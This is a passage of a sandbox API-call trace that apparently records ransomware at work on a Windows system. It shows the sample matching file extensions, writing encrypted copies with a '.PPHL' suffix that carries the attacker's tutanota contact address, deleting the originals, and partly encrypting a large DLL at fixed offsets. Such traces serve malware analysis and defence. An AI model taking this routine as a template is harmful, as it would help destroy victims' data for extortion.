Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0076.773] lstrlenW (lpString=".jpg") returned 4 [0076.773] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0076.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0076.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0076.774] lstrlenW (lpString=".doc") returned 4 [0076.774] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0076.774] lstrlenW (lpString=".docx") returned 5 [0076.774] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0076.774] lstrlenW (lpString=".pdf") returned 4 [0076.774] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0076.774] lstrlenW (lpString=".xls") returned 4 [0076.774] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0076.774] lstrlenW (lpString=".xlsx") returned 5 [0076.774] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0076.774] lstrlenW (lpString=".ppt") returned 4 [0076.774] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0076.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0076.774] lstrlenW (lpString=".zip") returned 4 [0076.774] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0076.774] lstrlenW (lpString=".rar") returned 4 [0076.774] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0076.774] lstrlenW (lpString=".bz2") returned 4 [0076.774] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0076.774] lstrlenW (lpString=".7z") returned 3 [0076.774] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0076.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0076.774] lstrlenW (lpString=".dbf") returned 4 [0076.774] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0076.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0076.775] lstrlenW (lpString=".1cd") returned 4 [0076.775] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0076.775] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0076.775] lstrlenW (lpString=".jpg") returned 4 [0076.775] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0076.775] lstrcmpiW (lpString1=".msi", lpString2=".PPHL") returned -1 [0076.775] lstrlenW (lpString="AccessMUISet.msi") returned 16 [0076.775] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0076.775] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x376ff1c | out: lpFileSize=0x376ff1c*=868864) returned 1 [0076.775] CloseHandle (hObject=0x1b0) returned 1 [0076.776] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 0x2020 [0076.776] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.776] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0076.776] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.776] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.776] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0076.776] GetLastError () returned 0x0 [0076.776] ReadFile (in: hFile=0x1b0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x376fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0076.804] WriteFile (in: hFile=0x1f0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x376fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x376fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0077.116] ReadFile (in: hFile=0x1b0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x376fed4*=0x0, lpOverlapped=0x0) returned 1 [0077.116] WriteFile (in: hFile=0x1f0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x376fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x376fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0077.117] SetEndOfFile (hFile=0x1f0) returned 1 [0077.117] CloseHandle (hObject=0x1f0) returned 1 [0077.117] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.117] SetEndOfFile (hFile=0x1b0) returned 1 [0077.127] CloseHandle (hObject=0x1b0) returned 1 [0077.127] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0077.127] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 1 [0077.127] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0077.127] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0077.128] lstrlenW (lpString=".doc") returned 4 [0077.128] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0077.128] lstrlenW (lpString=".docx") returned 5 [0077.128] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0077.128] lstrlenW (lpString=".pdf") returned 4 [0077.128] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0077.128] lstrlenW (lpString=".xls") returned 4 [0077.128] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0077.128] lstrlenW (lpString=".xlsx") returned 5 [0077.128] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0077.128] lstrlenW (lpString=".ppt") returned 4 [0077.128] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0077.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0077.128] lstrlenW (lpString=".zip") returned 4 [0077.128] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0077.128] lstrlenW (lpString=".rar") returned 4 [0077.128] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0077.128] lstrlenW (lpString=".bz2") returned 4 [0077.128] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0077.128] lstrlenW (lpString=".7z") returned 3 [0077.128] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0077.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0077.128] lstrlenW (lpString=".dbf") returned 4 [0077.128] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0077.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0077.128] lstrlenW (lpString=".1cd") returned 4 [0077.128] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0077.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0077.128] lstrlenW (lpString=".jpg") returned 4 [0077.128] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0077.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0077.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0077.128] lstrlenW (lpString=".doc") returned 4 [0077.129] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0077.129] lstrlenW (lpString=".docx") returned 5 [0077.129] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0077.129] lstrlenW (lpString=".pdf") returned 4 [0077.129] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0077.129] lstrlenW (lpString=".xls") returned 4 [0077.129] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0077.129] lstrlenW (lpString=".xlsx") returned 5 [0077.129] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0077.129] lstrlenW (lpString=".ppt") returned 4 [0077.129] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0077.129] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0077.129] lstrlenW (lpString=".zip") returned 4 [0077.129] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0077.129] lstrlenW (lpString=".rar") returned 4 [0077.129] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0077.129] lstrlenW (lpString=".bz2") returned 4 [0077.129] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0077.129] lstrlenW (lpString=".7z") returned 3 [0077.129] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0077.129] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0077.129] lstrlenW (lpString=".dbf") returned 4 [0077.129] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0077.129] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0077.129] lstrlenW (lpString=".1cd") returned 4 [0077.129] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0077.129] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0077.129] lstrlenW (lpString=".jpg") returned 4 [0077.129] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0077.129] lstrcmpiW (lpString1=".exe", lpString2=".PPHL") returned -1 [0077.130] lstrlenW (lpString="ose.exe") returned 7 [0077.130] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0077.130] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x376ff1c | out: lpFileSize=0x376ff1c*=174440) returned 1 [0077.130] CloseHandle (hObject=0x1b0) returned 1 [0077.130] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0077.130] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0077.130] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0077.130] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.130] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.130] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0077.131] GetLastError () returned 0x0 [0077.131] ReadFile (in: hFile=0x1b0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x376fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0077.137] WriteFile (in: hFile=0x1f0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x376fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x376fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0077.142] ReadFile (in: hFile=0x1b0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x376fed4*=0x0, lpOverlapped=0x0) returned 1 [0077.142] WriteFile (in: hFile=0x1f0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x376fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x376fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0077.142] SetEndOfFile (hFile=0x1f0) returned 1 [0077.142] CloseHandle (hObject=0x1f0) returned 1 [0077.142] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.142] SetEndOfFile (hFile=0x1b0) returned 1 [0077.144] CloseHandle (hObject=0x1b0) returned 1 [0077.144] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0077.145] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0077.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0077.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0077.145] lstrlenW (lpString=".doc") returned 4 [0077.145] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0077.145] lstrlenW (lpString=".docx") returned 5 [0077.145] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0077.145] lstrlenW (lpString=".pdf") returned 4 [0077.145] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0077.145] lstrlenW (lpString=".xls") returned 4 [0077.145] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0077.145] lstrlenW (lpString=".xlsx") returned 5 [0077.145] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0077.145] lstrlenW (lpString=".ppt") returned 4 [0077.145] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0077.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0077.145] lstrlenW (lpString=".zip") returned 4 [0077.145] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0077.145] lstrlenW (lpString=".rar") returned 4 [0077.145] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0077.145] lstrlenW (lpString=".bz2") returned 4 [0077.145] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0077.145] lstrlenW (lpString=".7z") returned 3 [0077.145] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0077.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0077.146] lstrlenW (lpString=".dbf") returned 4 [0077.146] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0077.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0077.146] lstrlenW (lpString=".1cd") returned 4 [0077.146] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0077.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0077.146] lstrlenW (lpString=".jpg") returned 4 [0077.146] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0077.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0077.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0077.146] lstrlenW (lpString=".doc") returned 4 [0077.146] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0077.146] lstrlenW (lpString=".docx") returned 5 [0077.146] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0077.146] lstrlenW (lpString=".pdf") returned 4 [0077.146] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0077.146] lstrlenW (lpString=".xls") returned 4 [0077.146] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0077.146] lstrlenW (lpString=".xlsx") returned 5 [0077.146] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0077.146] lstrlenW (lpString=".ppt") returned 4 [0077.146] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0077.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0077.146] lstrlenW (lpString=".zip") returned 4 [0077.146] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0077.146] lstrlenW (lpString=".rar") returned 4 [0077.146] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0077.146] lstrlenW (lpString=".bz2") returned 4 [0077.146] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0077.146] lstrlenW (lpString=".7z") returned 3 [0077.146] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0077.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0077.146] lstrlenW (lpString=".dbf") returned 4 [0077.147] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0077.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0077.147] lstrlenW (lpString=".1cd") returned 4 [0077.147] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0077.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0077.147] lstrlenW (lpString=".jpg") returned 4 [0077.147] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0077.147] lstrcmpiW (lpString1=".dll", lpString2=".PPHL") returned -1 [0077.147] lstrlenW (lpString="osetup.dll") returned 10 [0077.147] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0077.147] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x376ff1c | out: lpFileSize=0x376ff1c*=7378792) returned 1 [0077.147] CloseHandle (hObject=0x1b0) returned 1 [0077.147] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0077.148] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0077.148] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0077.148] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0077.148] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc6c | out: lpNewFilePointer=0x0) returned 1 [0077.148] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0077.148] ReadFile (in: hFile=0x1b0, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.466] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0077.466] ReadFile (in: hFile=0x1b0, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.578] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x376fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0077.578] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x376fc2c | out: lpNewFilePointer=0x0) returned 1 [0077.578] ReadFile (in: hFile=0x1b0, lpBuffer=0x3e70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x376fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e70058*, lpNumberOfBytesRead=0x376fc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.737] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.737] WriteFile (in: hFile=0x1b0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x376fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x376fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0077.965] SetEndOfFile (hFile=0x1b0) returned 1 [0078.169] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3fb3fc0 [0078.180] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0078.180] WriteFile (in: hFile=0x1b0, lpBuffer=0x3fb3fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3fc0*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0078.182] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0078.182] WriteFile (in: hFile=0x1b0, lpBuffer=0x3fb3fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3fc0*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0078.184] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x376fc7c | out: lpNewFilePointer=0x0) returned 1 [0078.184] WriteFile (in: hFile=0x1b0, lpBuffer=0x3fb3fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x376fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3fc0*, lpNumberOfBytesWritten=0x376fc88*=0x40000, lpOverlapped=0x0) returned 1 [0078.193] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3fb3fc0 | out: hHeap=0x5d0000) returned 1 [0078.193] CloseHandle (hObject=0x1b0) returned 1 [0078.714] SetFileAttributesW (lpFileName="C:\\MSOCache\\All 